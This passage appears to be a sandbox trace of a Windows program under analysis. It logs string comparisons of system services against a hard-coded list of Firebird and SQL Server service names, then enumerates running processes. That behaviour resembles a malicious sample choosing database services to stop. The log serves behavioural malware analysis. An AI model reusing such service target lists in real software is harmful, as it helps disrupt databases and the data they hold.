	[0174.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0174.161] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0174.161] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0174.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0174.161] lstrlenW (lpString="KeyIso") returned 6
	[0174.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0174.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0174.161] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0174.161] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0174.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0174.161] lstrlenW (lpString="LanmanServer") returned 12
	[0174.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0174.161] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0174.161] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0174.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0174.161] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0174.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0174.162] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0174.162] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0174.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0174.162] lstrlenW (lpString="lfsvc") returned 5
	[0174.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0174.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0174.162] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0174.162] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0174.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0174.162] lstrlenW (lpString="lmhosts") returned 7
	[0174.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0174.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0174.162] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0174.162] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0174.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0174.162] lstrlenW (lpString="LSM") returned 3
	[0174.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0174.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0174.162] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0174.162] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0174.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0174.162] lstrlenW (lpString="MpsSvc") returned 6
	[0174.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0174.162] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0174.163] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0174.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0174.163] lstrlenW (lpString="NcbService") returned 10
	[0174.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0174.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0174.163] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0174.163] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0174.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0174.163] lstrlenW (lpString="netprofm") returned 8
	[0174.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0174.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0174.163] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0174.163] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0174.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0174.163] lstrlenW (lpString="NgcSvc") returned 6
	[0174.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0174.163] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0174.163] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0174.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0174.163] lstrlenW (lpString="NlaSvc") returned 6
	[0174.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0174.163] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0174.163] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0174.164] lstrlenW (lpString="nsi") returned 3
	[0174.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0174.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0174.164] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0174.164] lstrlenW (lpString="PcaSvc") returned 6
	[0174.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0174.164] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0174.164] lstrlenW (lpString="PlugPlay") returned 8
	[0174.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0174.164] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0174.164] lstrlenW (lpString="Power") returned 5
	[0174.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0174.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0174.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0174.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0174.165] lstrlenW (lpString="ProfSvc") returned 7
	[0174.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0174.165] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0174.165] lstrlenW (lpString="RpcEptMapper") returned 12
	[0174.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0174.165] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0174.165] lstrlenW (lpString="RpcSs") returned 5
	[0174.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0174.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0174.165] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0174.165] lstrlenW (lpString="SamSs") returned 5
	[0174.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0174.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0174.165] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0174.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0174.165] lstrlenW (lpString="Schedule") returned 8
	[0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0174.166] lstrlenW (lpString="SecurityHealthService") returned 21
	[0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0174.166] lstrlenW (lpString="SENS") returned 4
	[0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0174.166] lstrlenW (lpString="ShellHWDetection") returned 16
	[0174.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0174.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0174.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0174.166] lstrlenW (lpString="Spooler") returned 7
	[0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0174.167] lstrlenW (lpString="StateRepository") returned 15
	[0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0174.167] lstrlenW (lpString="SysMain") returned 7
	[0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0174.167] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0174.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0174.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0174.167] lstrlenW (lpString="Themes") returned 6
	[0174.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0174.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0174.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0174.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0174.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0174.168] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0174.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0174.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0174.168] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0174.168] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0174.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4642fd8 | out: hHeap=0x4f0000) returned 1
	[0174.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x51c
	[0174.494] Process32FirstW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0174.495] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0174.496] lstrlenW (lpString="System") returned 6
	[0174.497] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0174.498] lstrlenW (lpString="smss.exe") returned 8
	[0174.498] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.499] lstrlenW (lpString="csrss.exe") returned 9
	[0174.499] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0174.500] lstrlenW (lpString="wininit.exe") returned 11
	[0174.500] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.501] lstrlenW (lpString="csrss.exe") returned 9
	[0174.501] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0174.502] lstrlenW (lpString="winlogon.exe") returned 12
	[0174.502] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0174.503] lstrlenW (lpString="services.exe") returned 12
	[0174.503] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0174.504] lstrlenW (lpString="lsass.exe") returned 9
	[0174.504] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.505] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.505] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.505] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.505] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.506] lstrlenW (lpString="svchost.exe") returned 11
	[0174.506] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.507] lstrlenW (lpString="svchost.exe") returned 11
	[0174.507] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0174.508] lstrlenW (lpString="dwm.exe") returned 7
	[0174.508] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.509] lstrlenW (lpString="svchost.exe") returned 11
	[0174.509] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.510] lstrlenW (lpString="svchost.exe") returned 11
	[0174.510] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.511] lstrlenW (lpString="svchost.exe") returned 11
	[0174.511] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.528] lstrlenW (lpString="svchost.exe") returned 11
	[0174.528] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.529] lstrlenW (lpString="svchost.exe") returned 11
	[0174.529] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.529] lstrlenW (lpString="svchost.exe") returned 11
	[0174.529] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.530] lstrlenW (lpString="svchost.exe") returned 11
	[0174.530] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.531] lstrlenW (lpString="svchost.exe") returned 11
	[0174.531] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.532] lstrlenW (lpString="svchost.exe") returned 11
	[0174.532] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.533] lstrlenW (lpString="svchost.exe") returned 11
	[0174.533] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0174.534] lstrlenW (lpString="spoolsv.exe") returned 11
	[0174.534] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.535] lstrlenW (lpString="svchost.exe") returned 11
	[0174.535] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0174.536] lstrlenW (lpString="audiodg.exe") returned 11
	[0174.536] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0174.537] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0174.537] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0174.538] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0174.538] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0174.538] lstrlenW (lpString="sihost.exe") returned 10
	[0174.538] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0174.539] lstrlenW (lpString="Memory Compression") returned 18
	[0174.539] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.540] lstrlenW (lpString="svchost.exe") returned 11
